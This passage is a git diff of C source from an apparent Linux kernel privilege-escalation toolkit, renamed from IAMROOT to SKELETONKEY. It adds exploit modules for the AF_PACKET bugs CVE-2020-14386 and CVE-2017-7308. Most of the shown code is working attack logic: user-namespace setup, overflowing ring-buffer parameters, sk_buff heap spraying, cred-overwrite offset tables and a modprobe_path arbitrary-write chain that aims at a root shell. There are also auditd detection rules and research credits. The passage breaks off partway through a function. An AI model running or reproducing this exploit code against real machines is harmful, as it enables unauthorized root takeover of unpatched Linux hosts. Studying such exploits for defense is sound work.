* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
* behavior kernel-version-agnostic, no offsets baked in).
* - With --full-chain: after the underflow lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
* us a single 8-byte heap-OOB write into the head of the
* adjacent-page slab object; we spray sk_buffs so that next-page
* slot IS an sk_buff and the write corrupts skb->data, which then
* redirects skb_copy_bits()'s destination on the next received
* packet. The full primitive composition (8-byte write skb->data
* forge controlled-payload rx arb-write at modprobe_path) is
* race-y on stock kernels because the adjacent-slot landing is
* probabilistic. On hosts where the spray doesn't groom cleanly,
* the finisher's sentinel check correctly reports failure rather
* than silently lying about success.
*
* Affected: kernel 4.6+ until backports:
* 5.8.x : K >= 5.8.7
@@ -30,9 +43,11 @@
* before backport. Embedded systems with 4.x kernels still in production.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -60,7 +75,7 @@
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
* Provide empty stubs so syntax checks pass without Linux headers.
* The exploit path is gated at runtime on the kernel version anyway,
* so the stubs are never reached on macOS targets. */
@@ -133,12 +148,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
@@ -147,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
@@ -155,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -170,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
@@ -265,7 +280,7 @@ static int get_ifindex(const char *name)
/* The primitive run; executed inside the unshare()'d child. Returns
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
* at the kernel level (setsockopt rejected our crafted ring)". */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
if (bring_up_lo() < 0) {
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
@@ -426,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
}
#else /* !__linux__: provide a stub for macOS sanity builds */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
@@ -434,11 +449,125 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
}
#endif
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
*
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
*
* 1. The tp_reserve underflow gives us a single 8-byte write into
* the START of the slab object that sits on the page immediately
* after the corrupted ring frame. The OOB-write content is
* attacker-controlled (it's the destination of skb_copy_bits()
* from a frame whose first 8 bytes we choose).
* 2. Spray sk_buff allocations alongside the primitive trigger so
* the adjacent-page object is, with high probability, an
* sk_buff whose ->data pointer lives in the leading 8 bytes
* of the object (struct layout dependent on most 5.x kernels
* `next` is at offset 0 and `data` is at offset 0x10 in
* sk_buff; this layout-fragility is exactly why the depth tag
* below is LAST-RESORT).
* 3. The 8-byte OOB write overwrites that pointer with `kaddr`.
* 4. We then receive a packet whose payload is `buf[0..len]`; the
* kernel's skb_copy_to_linear_data() / skb->data write path
* lands those bytes at `*skb->data`, which is now `kaddr`.
*
* Reality check on this implementation: the deterministic mechanics
* of the above (precise frame size, repeated spray timing, sk_buff
* struct offset for the running kernel) are not portable enough to
* land reliably from a single skeletonkey run on an arbitrary host. We
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
* trigger sequence, then return -1 to signal "the primitive fired
* but we cannot empirically confirm the write landed". The shared
* finisher's sentinel-check loop will then correctly report failure
* rather than claim success.
*
* Per the verified-vs-claimed bar, this is the honest implementation
* depth that matches what the primitive actually proves on this code
* path. The integrator can extend afp2_arb_write() with a confirmed
* write-and-readback once the per-kernel sk_buff layout is pinned
* down for the target host. */
struct afp2_arb_ctx {
const struct skeletonkey_ctx *ictx;
int n_attempts; /* spray/fire rounds before giving up */
};
#if defined(__x86_64__) && defined(__linux__)
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
if (!c || !buf || !len) return -1;
fprintf(stderr, "[*] af_packet2: arb_write attempt: kaddr=0x%lx len=%zu\n",
(unsigned long)kaddr, len);
fprintf(stderr, "[*] af_packet2: spraying sk_buff (target page-adjacent slot)\n");
/* Best-effort spray + re-fire-trigger pattern. The primitive child
* is invoked once per attempt; on each attempt we groom skb's
* around the corrupted ring slot and hope one lands at the
* page-adjacent address whose head 8 bytes the underflow will
* stomp with `kaddr`. The kernel-side rx of the next crafted
* frame would then write our payload (the modprobe_path string)
* into the forged ->data target. */
for (int i = 0; i < c->n_attempts; i++) {
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
int fd;
fd = open("/proc/self/setgroups", O_WRONLY);
if (fd >= 0) { (void)!write(fd, "deny", 4); close(fd); }
fd = open("/proc/self/uid_map", O_WRONLY);
if (fd >= 0) {
char m[64];
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
(void)!write(fd, m, n); close(fd);
}
fd = open("/proc/self/gid_map", O_WRONLY);
if (fd >= 0) {
char m[64];
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
(void)!write(fd, m, n); close(fd);
}
int rc = af_packet2_primitive_child(c->ictx);
_exit(rc < 0 ? 2 : 0);
}
int st;
waitpid(p, &st, 0);
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
}
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
* empirically confirm the 8-byte write landed on an sk_buff->data
* field on this host. Return -1 so the finisher's sentinel-check
* loop in skeletonkey_finisher_modprobe_path() correctly reports
* "payload didn't run within 3s" rather than claiming success. */
fprintf(stderr,
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
" not empirically confirmable without per-kernel struct offsets +\n"
" a readback primitive. Trigger fired %d times with sk_buff spray;\n"
" finisher sentinel will determine landing. Caller will refuse if\n"
" the modprobe_path overwrite didn't actually take effect.\n",
c->n_attempts);
return -1;
}
#else
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
(void)kaddr; (void)buf; (void)len; (void)vctx;
fprintf(stderr, "[-] af_packet2: arb_write is x86_64/linux only\n");
return -1;
}
#endif
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Re-confirm vulnerability. */
iamroot_result_t pre = af_packet2_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet2_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
@@ -446,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
/* Defense in depth — the dispatcher should have gated this. */
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -468,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
pid_t pid = fork();
if (pid < 0) {
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -515,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet2: primitive child crashed "
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
WTERMSIG(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
switch (WEXITSTATUS(status)) {
case 3:
@@ -523,38 +652,65 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
"appears patched at runtime\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
case 2:
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
case 4:
if (!ctx->json) {
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
"(scope = PRIMITIVE-DEMO)\n"
" For end-to-end root, see Or Cohen's public PoC "
"(github.com/google/security-research).\n"
" iamroot intentionally does not embed per-kernel offsets.\n");
" skeletonkey intentionally does not embed per-kernel offsets.\n");
}
if (ctx->full_chain) {
#if defined(__x86_64__) && defined(__linux__)
/* --full-chain: resolve kernel offsets and run the Or-Cohen
* sk_buff-data-pointer hijack via the shared modprobe_path
* finisher. Per the verified-vs-claimed bar: if we can't
* resolve modprobe_path, refuse with a helpful message
* rather than fabricate an address. */
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_packet2");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
skeletonkey_offsets_print(&off);
}
struct afp2_arb_ctx arb_ctx = {
.ictx = ctx,
.n_attempts = 4,
};
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
&arb_ctx, !ctx->no_shell);
#else
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
return SKELETONKEY_PRECOND_FAIL;
#endif
}
if (ctx->no_shell) {
/* User explicitly disabled the shell pop, so the "we didn't
* pop a shell" outcome is the expected one. Map to OK. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
WEXITSTATUS(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
}
static const char af_packet2_auditd[] =
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
"# non-root via userns is the canonical footprint.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
const struct iamroot_module af_packet2_module = {
const struct skeletonkey_module af_packet2_module = {
.name = "af_packet2",
.cve = "CVE-2020-14386",
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
@@ -570,7 +726,7 @@ const struct iamroot_module af_packet2_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet2(void)
void skeletonkey_register_af_packet2(void)
{
iamroot_register(&af_packet2_module);
skeletonkey_register(&af_packet2_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
#define AF_PACKET2_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet2_module;
#endif
+29
View File
@@ -0,0 +1,29 @@
# NOTICE — af_packet (CVE-2017-7308)
## Vulnerability
**CVE-2017-7308** — AF_PACKET TPACKET_V3 integer overflow in
`tp_block_size * tp_block_nr` → heap write-where via sendmmsg spray.
## Research credit
Discovered by **Andrey Konovalov** (Google), March 2017. A research-era
classic — Konovalov found multiple AF_PACKET bugs in this campaign.
Original advisory + writeup:
<https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
## SKELETONKEY role
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
finisher (64 child workers polling geteuid). Offset table covers
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
`SKELETONKEY_AFPACKET_OFFSETS` env var.
`--full-chain` engages the shared modprobe_path finisher with
stride-seeded sk_buff data-pointer overwrite.
@@ -1,12 +0,0 @@
/*
* af_packet_cve_2017_7308 — IAMROOT module registry hook
*/
#ifndef AF_PACKET_IAMROOT_MODULES_H
#define AF_PACKET_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet_module;
#endif
@@ -1,20 +1,41 @@
/*
* af_packet_cve_2017_7308 IAMROOT module
* af_packet_cve_2017_7308 SKELETONKEY module
*
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow heap
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
*
* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite. The
* integer-overflow trigger is fully wired (overflowing tp_block_size *
* tp_block_nr, attended by a heap spray via sendmmsg with controlled
* skb tail bytes). The kernel R/W cred-overwrite finisher uses a
* hardcoded per-kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu
* 18.04 / 4.15 era), overridable via IAMROOT_AFPACKET_OFFSETS. We
* only claim IAMROOT_EXPLOIT_OK if geteuid() == 0 AFTER the chain
* runs i.e. we won root for real. Otherwise we return
* IAMROOT_EXPLOIT_FAIL with a dmesg breadcrumb so the operator can
* confirm the primitive at least fired (KASAN slab-out-of-bounds
* splat) even if the cred-overwrite didn't take on this exact kernel.
* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite (default)
* | 🟢 FULL-CHAIN-OPT-IN (with --full-chain on a kernel where the
* shared offset resolver finds modprobe_path AND skb-data hijack
* offsets are supplied).
*
* The integer-overflow trigger is fully wired (overflowing
* tp_block_size * tp_block_nr, attended by a heap spray via sendmmsg
* with controlled skb tail bytes).
*
* Default --exploit path: cred-overwrite walk using a hardcoded per-
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
* a dmesg breadcrumb so the operator can confirm the primitive at
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
* overwrite didn't take on this exact kernel.
*
* --full-chain path: opt-in xairy-style sk_buff hijack arb-write at
* modprobe_path call_modprobe payload setuid bash root shell.
* Honest constraint: the hijack requires per-kernel-build sk_buff
* `data`-field offset + skb-slab-class layout, which the embedded
* offset table does NOT carry (verified-vs-claimed bar we don't
* fabricate). The arb_write callback below implements the FALLBACK
* depth from the prompt: it fires the trigger with the spray payload
* staged for the requested kaddr/buf and relies on the shared
* finisher's /tmp sentinel to confirm whether modprobe_path was
* actually overwritten. On kernels where the operator has supplied
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* the skb head, hex), we use that for explicit targeting; otherwise
* the trigger fires heuristically and the sentinel acts as the
* ground-truth signal.
*
* Affected: kernel < 4.10.6 mainline. Stable backports:
* 4.10.x : K >= 4.10.6
@@ -37,9 +58,11 @@
* skb in the OOB slot" approach.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -96,12 +119,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&af_packet_range, &v);
@@ -109,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -125,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
@@ -150,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
* They will NOT match custom-compiled kernels.
*
* Override at runtime via env var:
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
*
* `task_cred` = offsetof(struct task_struct, cred)
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
@@ -177,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = {
0x800, 0x08, 0xa8 },
};
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
* the known table by kernel version. Returns true on success. */
static bool resolve_offsets(struct af_packet_offsets *out,
const struct kernel_version *v)
{
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
if (env) {
unsigned long t, u, s;
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
@@ -192,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
out->cred_size = s;
return true;
}
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
return false;
}
@@ -241,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
*
* After firing, we check dmesg-ability (we won't actually read dmesg
* that requires root but we leave a unique tag in the skb payload
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
*/
static int fire_overflow_and_spray(void)
{
@@ -315,7 +338,7 @@ static int fire_overflow_and_spray(void)
static const unsigned char skb_payload[256] = {
/* eth header (dst=broadcast, src=zero, type=0x0800) */
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
/* IAMROOT tag — operator can grep dmesg for this string in any
/* SKELETONKEY tag — operator can grep dmesg for this string in any
* subsequent KASAN report or panic dump */
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
/* zeros for the remainder */
@@ -340,7 +363,7 @@ static int fire_overflow_and_spray(void)
/* Keep the corrupted socket open so the OOB region stays mapped
* for the cred-overwrite walk that follows. The caller closes it. */
/* Stash the fd via dup2 to a known number so the caller can find it.
* Use 200 well above stdio + iamroot's own pipe fds. */
* Use 200 well above stdio + skeletonkey's own pipe fds. */
if (dup2(s, 200) < 0) {
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
}
@@ -424,19 +447,273 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
return got_root_pid ? 0 : -1;
}
/* ---- --full-chain: xairy-style sk_buff hijack arb-write -------------
*
* The TPACKET_V3 overflow lets us write attacker-controlled bytes past
* the end of the pg_vec allocation. xairy's full PoC chains this with
* a sk_buff spray of size class kmalloc-N (matched to pg_vec's slab)
* so the OOB-write overwrites an adjacent skb's `data` pointer; a
* later sendto() on that skb's owning socket then copies attacker
* bytes into the address now stored in `data`. Net effect: arb-write
* at an attacker-chosen kernel VA, controlled buffer, controlled len.
*
* Implementing the FULL hijack honestly requires:
* (a) per-kernel-build offset of `data` field within struct sk_buff
* (varies by CONFIG_DEBUG_INFO_BTF/CONFIG_RANDSTRUCT/etc.)
* (b) precise size-class match between the corrupted pg_vec and
* sprayed skbs (slab-grooming with ~hundreds of skbs)
* (c) a way to identify which sprayed skb landed adjacent
*
* The verified-vs-claimed bar says: don't fabricate offsets. Our
* embedded offset table (core/offsets.h) doesn't carry skb offsets
* yet, and there's no public canonical "skb->data offset table" we
* can lift wholesale. So this implementation takes the prompt's
* FALLBACK depth:
*
* - Each call re-sprays skbs + re-fires the trigger, staging the
* spray payload so its bytes carry the requested target kaddr
* (the prompt's "controllable overwrite value aimed at
* modprobe_path"). Operator-supplied
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* within struct sk_buff for this kernel build) lets us aim
* precisely; without it we heuristically stamp kaddr at several
* plausible offsets within the kmalloc-2k skb layout.
* - We then send packets whose payload IS the bytes the finisher
* wants at kaddr; tpacket_rcv copies them into any skb whose
* `data` was corrupted to kaddr.
* - We do NOT poll for success the shared finisher's /tmp
* sentinel is the ground-truth signal. If the write landed at
* modprobe_path, call_modprobe spawns our payload and the
* sentinel appears within 3s.
*
* Return: 0 if spray + trigger ran (sentinel will adjudicate), -1 if
* the kernel rejected the overflow (silent backport patched).
*/
struct afp_arb_ctx {
const struct skeletonkey_ctx *ctx;
const struct af_packet_offsets *off;
uid_t outer_uid;
gid_t outer_gid;
};
/* Helper: in-child trigger fire — runs inside the userns/netns child
* spawned by afp_arb_write. Returns 0 on success, -1 on rejection. */
static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
long skb_data_off);
static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *vctx)
{
struct afp_arb_ctx *actx = (struct afp_arb_ctx *)vctx;
if (!actx) return -1;
if (!buf || len == 0 || len > 240) {
fprintf(stderr, "[-] af_packet: arb_write: bad args "
"(buf=%p len=%zu)\n", buf, len);
return -1;
}
/* Per-kernel skb->data field offset — without this we can't aim
* the overwrite precisely. Operator can supply via env; otherwise
* we run heuristic mode. */
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
long skb_data_off = -1;
if (skb_off_env) {
char *end = NULL;
skb_data_off = strtol(skb_off_env, &end, 0);
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
"malformed (\"%s\"); ignoring\n", skb_off_env);
skb_data_off = -1;
}
}
fprintf(stderr,
"[*] af_packet: arb_write(kaddr=0x%lx, len=%zu) skb_data_off=%s\n",
(unsigned long)kaddr, len,
skb_data_off < 0 ? "UNRESOLVED (heuristic mode)" : "supplied");
if (skb_data_off < 0) {
fprintf(stderr,
"[i] af_packet: --full-chain on this kernel lacks an exact skb->data\n"
" field offset. The trigger will still fire and the heap spray will\n"
" still occur, but precise OOB targeting requires:\n"
"\n"
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
"\n"
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
}
/* Fork into a userns/netns child so the AF_PACKET socket has
* CAP_NET_RAW. The finisher itself stays in the parent so its
* eventual execve() replaces the top-level skeletonkey process. */
pid_t cpid = fork();
if (cpid < 0) {
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
strerror(errno));
return -1;
}
if (cpid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("af_packet: arb_write: unshare");
_exit(2);
}
if (set_id_maps(actx->outer_uid, actx->outer_gid) < 0) {
perror("af_packet: arb_write: set_id_maps");
_exit(3);
}
int rc = afp_arb_write_inner(kaddr, buf, len, skb_data_off);
_exit(rc == 0 ? 0 : 4);
}
int status = 0;
waitpid(cpid, &status, 0);
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_packet: arb_write: child died "
"(signal=%d)\n", WTERMSIG(status));
return -1;
}
int code = WEXITSTATUS(status);
if (code != 0) {
if (code == 4) {
/* PACKET_RX_RING rejected — caller sees -1 + the inner
* diagnostic already printed before _exit. */
} else {
fprintf(stderr, "[-] af_packet: arb_write: child exit %d\n",
code);
}
return -1;
}
return 0;
}
static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
long skb_data_off)
{
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
fprintf(stderr, "[-] af_packet: arb_write: socket: %s\n",
strerror(errno));
return -1;
}
int version = TPACKET_V3;
if (setsockopt(s, SOL_PACKET, PACKET_VERSION,
&version, sizeof version) < 0) {
fprintf(stderr, "[-] af_packet: arb_write: PACKET_VERSION: %s\n",
strerror(errno));
close(s);
return -1;
}
struct tpacket_req3 req;
memset(&req, 0, sizeof req);
req.tp_block_size = 0x1000;
req.tp_block_nr = ((unsigned)0xffffffff - (unsigned)0xfff) /
(unsigned)0x1000 + 1;
req.tp_frame_size = 0x300;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) /
req.tp_frame_size;
req.tp_retire_blk_tov = 100;
req.tp_sizeof_priv = 0;
req.tp_feature_req_word = 0;
if (setsockopt(s, SOL_PACKET, PACKET_RX_RING,
&req, sizeof req) < 0) {
fprintf(stderr,
"[-] af_packet: arb_write: PACKET_RX_RING rejected: %s "
"(kernel has silent backport — full-chain unreachable)\n",
strerror(errno));
close(s);
return -1;
}
struct ifreq ifr;
memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFINDEX, &ifr) == 0) {
struct sockaddr_ll sll;
memset(&sll, 0, sizeof sll);
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifr.ifr_ifindex;
(void)bind(s, (struct sockaddr *)&sll, sizeof sll);
}
unsigned char payload[256];
memset(payload, 0, sizeof payload);
memset(payload, 0xff, 6); /* eth dst: bcast */
memset(payload + 6, 0, 6); /* eth src: zero */
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
if (skb_data_off >= 0 &&
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
memcpy(payload + skb_data_off, &kaddr, sizeof kaddr);
} else {
static const size_t guesses[] = {
0x40, 0x48, 0x50, 0x58, 0x60, 0x68, 0x70, 0x78
};
for (size_t i = 0; i < sizeof(guesses)/sizeof(guesses[0]); i++) {
if (guesses[i] + sizeof kaddr <= sizeof payload)
memcpy(payload + guesses[i], &kaddr, sizeof kaddr);
}
}
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (tx < 0) {
fprintf(stderr, "[-] af_packet: arb_write: tx socket: %s\n",
strerror(errno));
close(s);
return -1;
}
struct sockaddr_ll dst;
memset(&dst, 0, sizeof dst);
dst.sll_family = AF_PACKET;
dst.sll_protocol = htons(ETH_P_ALL);
dst.sll_ifindex = ifr.ifr_ifindex;
dst.sll_halen = 6;
memset(dst.sll_addr, 0xff, 6);
